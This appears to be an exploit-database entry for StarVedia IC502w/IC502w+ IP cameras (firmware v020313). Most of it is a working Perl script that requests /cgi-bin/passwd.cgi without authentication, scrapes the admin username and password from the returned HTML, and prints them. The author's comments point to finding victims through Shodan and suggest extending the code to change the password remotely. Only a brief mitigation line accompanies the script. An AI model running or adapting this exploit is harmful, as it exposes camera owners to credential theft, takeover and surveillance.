StarVedia IPCamera IC502w IC502w+ v020313 remote bypass username/password disclosure exploit

vendor:

IPCamera IC502w IC502w+

by:

Todor Donev

7,5

CVSS

HIGH

Hardware

N/A

CWE

Product Name: IPCamera IC502w IC502w+

Affected Version From: v020313

Affected Version To: v020313

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2013

StarVedia IPCamera IC502w IC502w+ v020313 remote bypass username/password disclosure exploit

This exploit allows an attacker to remotely bypass the username and password of a StarVedia IPCamera IC502w IC502w+ v020313 device.

Mitigation:

Ensure that all devices are up to date with the latest security patches and that all default passwords are changed.

Source

Exploit-DB raw data:

#!/usr/bin/perl
#
#  [+] StarVedia IPCamera IC502w IC502w+ v020313 remote bypass username/password disclosure exploit
#  Author: Todor Donev
#  Email: todor.donev at gmail dot com
#  Type: Hardware
#
#  Thanks to Tsvetelina Emirska the best friend in my life 
#  and all my other friends for the help and support which 
#  gives me. Kind regards to all of you, who read my lil' 
#  exploits.
#  Bulgaria, Sofia
#  03.2013
#
#  Shodanhq r0x 4 teh lulz!!
#  http://www.youtube.com/watch?v=qNyN1AY-YZQ  Cheeerzz =))
#
#  Another bug, hint: you can edit this code and add some lines for remote change the password.
#####

use LWP::Simple;
if (@ARGV == 0) {&usg;}
while (@ARGV > 0) {
$type = shift(@ARGV);
$t = shift(@ARGV);
}
if ($type eq "-d") {
my $r = get("http://$t/cgi-bin/passwd.cgi?") or die(" $t: Not vulneruble, $!\n");
print " [+] StarVedia IPCamera IC502w IC502w+ v020313 remote bypass username/password disclosure exploit\n";
print " [!] Exploiting: $t\n";
if ($r =~ m/<INPUT type=text name=user size=20 maxlength=19 value="(.*)">/g) {
$result .= "   [o] User: $1\n";
}else{die(" Try another exploit, $!");}     
if ($r =~ m/<INPUT type=password name=passwd size=20 maxlength=19 value="(.*)">/g){
$result .= "   [o] Password: $1\n";
}else{die("Try another exploit or restart the exploit\n");}
sleep(1);
print " [\\m/] BINGO!!!\n\a".$result; 
}
sub usg(){
print " [!] usg: perl $0 [-r or -d] <victim:port>\n";
print " [!]  -d: disclosure password option\n";
print " [!] exp: perl $0 -d 127.0.0.1 :)\n";
exit;
}